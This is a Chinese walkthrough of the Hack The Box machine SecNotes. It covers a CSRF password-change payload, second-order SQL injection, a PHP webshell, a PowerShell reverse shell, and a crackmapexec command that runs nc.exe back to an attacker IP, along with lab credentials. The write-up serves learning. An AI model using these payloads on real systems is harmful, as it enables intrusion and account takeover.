HTB-SecNotes

news/2024/11/26 8:59:21/

HTB-SecNotes

  • 信息收集
    • 8808端口
    • 80端口
      • 通过CSRF获取
      • 通过二次注入
  • 立足
  • tyler -> administrator

请添加图片描述

信息收集

在这里插入图片描述
在这里插入图片描述

8808端口

Windows IIS 10.0
在这里插入图片描述
可以从官方文档查看10.0版本可能的操作系统。

在这里插入图片描述

80端口

通过CSRF获取

在这里插入图片描述

目录扫描发现需要登陆后继续进一步操作啊。
在这里插入图片描述
对其进行简单的SQL注入测试。此外还发现如果没有此账号会出现No account found with that username.可以借机来判断拥有哪些用户。
在这里插入图片描述
此外还有一个注册业务。
在这里插入图片描述
在这里插入图片描述

由于GDPR,所有用户必须删除任何包含个人身份信息(PII)的注释。
如有任何问题,请使用下面的联系链接联系tyler@secnotes.htb。

从这段话里能收获一个用户tyler。
接着测试一下New Note功能。
在这里插入图片描述

在这里插入图片描述
哈,我干了啥?
在这里插入图片描述

暂不清楚还是小心为妙,去验证一下tyler是否存在,如果存在就会说明密码不可用。
在这里插入图片描述

OK,现在有两个问题。一是如果目标是用的是关系数据库比如Mysql等,可以考虑从登录的select语句、注册用户的insert语句、修改密码的update语句注入。二是如果目标是用的NoSQL,那么可以考虑利用正则表达获取密码。
此外我还发现如果操作过快,比如点击修改密码后快速返回上一个页面就会触发检测器。

在这里插入图片描述

根据前面目录扫描结果判断为NoSQL可能性较高,当然也可能是障眼法引诱我掉入兔子洞。

在这里插入图片描述
在这里插入图片描述

先试试在登录处NoSQL吧。
在这里插入图片描述
可能注册和登录会有一个二次注入不过等会再试,还剩下一个联系我们。
在这里插入图片描述
随便输入后提交。

在这里插入图片描述

在这里插入图片描述
在测试时发现如果发送文字内包含了一个链接,那么目标的某个脚本回访回访问连接。

在这里插入图片描述

连接被访问。
在这里插入图片描述
可以试试CSRF(Cross Site Request Forgery)跨站点请求伪造。简单来说就是让目标点击恶意网站并执行构造好的脚本。当前环境下目标不想做的恐怕就是修改密码了。所以来构造一个使目标修改密码的payload。
在这里插入图片描述
试试转化为GET能否发送。
在这里插入图片描述
答案显而易见。
在这里插入图片描述
payload如下:

http://10.10.10.97/change_pass.php?password=123456&confirm_password=123456&submit=submit

利用Contact Us发送XSRF payload。
在这里插入图片描述
利用成功,使用tyler:123456登录目标。

在这里插入图片描述

通过二次注入

注册用户’or 1=1#后登录。注册了一个用户 'or 1=1#,进入select语句 select notes from table where username = '‘or 1=1#’在这里插入图片描述

有三个Note,分别是迷你的粘性面包的配方、年份、还有tyler / 92g!mA8BGjOirkL%OG*&
在这里插入图片描述
使用获取的凭证登录smb服务。
在这里插入图片描述
有一个new-site目录我们拥有读写权,这就意味着有机会通过写入webshell或者reverse shell。

在这里插入图片描述
iisstart.htm不就是8808端口的么。

在这里插入图片描述

立足

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?phpif(isset($_GET['cmd'])){system($_GET['cmd']);}
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

在这里插入图片描述
使用payload连接。

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.31',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

收集信息。
在这里插入图片描述

tyler -> administrator

在tyler的desktop目录下有一个bash的快捷方式。
在这里插入图片描述
C盘根目录下还有一个Ubuntu的压缩包。
在这里插入图片描述
C根目录下的Distros
在这里插入图片描述
查找刚刚的bash.exe具体在哪里,运行没用。
在这里插入图片描述
搜索全部可能。
在这里插入图片描述
运行还是没有结果。

在这里插入图片描述

可能是因为shell问题。
在这里插入图片描述
使用nc后就正常了。
在这里插入图片描述

在这里插入图片描述
查看linux的历史,发现了管理员账号信息,似乎管理员在把windows上的共享目录挂载到linux上,经过测试发现他确实做到了。
在这里插入图片描述
administrator%u6!4ZwgwOM#^OBf#Nwnh有点乱,试试就知道密码是u6!4ZwgwOM#^OBf#Nwnh,可以通过smbclient直接拿到flag。
在这里插入图片描述

想通过evil-winrm拿到shell,可惜失败了。

在这里插入图片描述
那还有什么办法么,那当然有。可以通过crackmapexec来完成。
在这里插入图片描述

crackmapexec smb 10.10.10.97 -u 'administrator' -p 'u6!4ZwgwOM#^OBf#Nwnh' -X 'C:\inetpub\new-site\nc.exe -e cmd 10.10.14.31 4443'

在这里插入图片描述


http://www.ppmy.cn/news/49766.html

相关文章

在 Python 中使用列对齐打印

文章目录 在 Python 中使用 % 格式打印列对齐在 Python 中使用 format() 函数打印列对齐使用 f-strings 在 Python 中按列对齐打印使用 expandtabs() 函数在 Python 中按列对齐打印使用 just() 函数在 Python 中按列对齐打印总结 print() 函数在 Python 中得到了发展。 它最初是…

美团人气榜

# -*- coding:utf-8 -*- # 仅需修改这个地方https://jn.lianjia.com/ershoufang/pg{}rs/ 将jn换成你所在城市的拼写首字母小写 import requests from lxml import etree import time import random import csv import requests import json class LianjiaSpider(object): def _…

Python 简介

Python 是一个高层次的结合了解释性、编译性、互动性和面向对象的脚本语言。 Python 的设计具有很强的可读性&#xff0c;相比其他语言经常使用英文关键字&#xff0c;其他语言的一些标点符号&#xff0c;它具有比其他语言更有特色语法结构。 Python 是一种解释型语言&#xf…

现在有t1,t2,t3三个线程,实现t1,t2线程同步执行,然后再执行t3线程,使用Java实现该程序

目录 1、利用CountDownLatch 2、利用Future 最近在面试的时候&#xff0c;经常遇到这个题目&#xff0c;首先从题目上看&#xff0c;就知道考察的是多线程方面知识&#xff0c;我第一次看到这个题目的时候&#xff0c;就想到了使用CountDownLatch这个计数器来实现&#xff0c…

vue-qrcode生成二维码

1、安装 npm install --save qrcodejs2 2、代码 import QRCode from qrcodejs2 <div class"qrcode" ref"qrCodeUrl"></div> <script> import QRCode from qrcodejs2 export default { data() { return { }, methods: { …

设计模式:UML中的类图(6种关系)

一.UML图介绍 统一建模语言是用来设计软件的可视化建模语言。它的特点是简单、统一、图形化、能表达软件设计中的动态与静态信息。 UML 从目标系统的不同角度出发&#xff0c;定义了用例图、类图、对象图、状态图、活动图、时序图、协作图、构件图、部署图等 9 种图。 二.类图…

前端实现单元测试(代码版)

Jest使用 下载 npm install --save-dev jest ts-jest ts-node jest/globals types/jest 在nodejs中支持ts ts执行报错 npx ts-jest config:init jest 会自动运行 sum.test.js 文件&#xff0c;其默认匹配规则 匹配 test 文件夹下的 .js 文件&#xff08;.jsx .ts .tsx 也可以…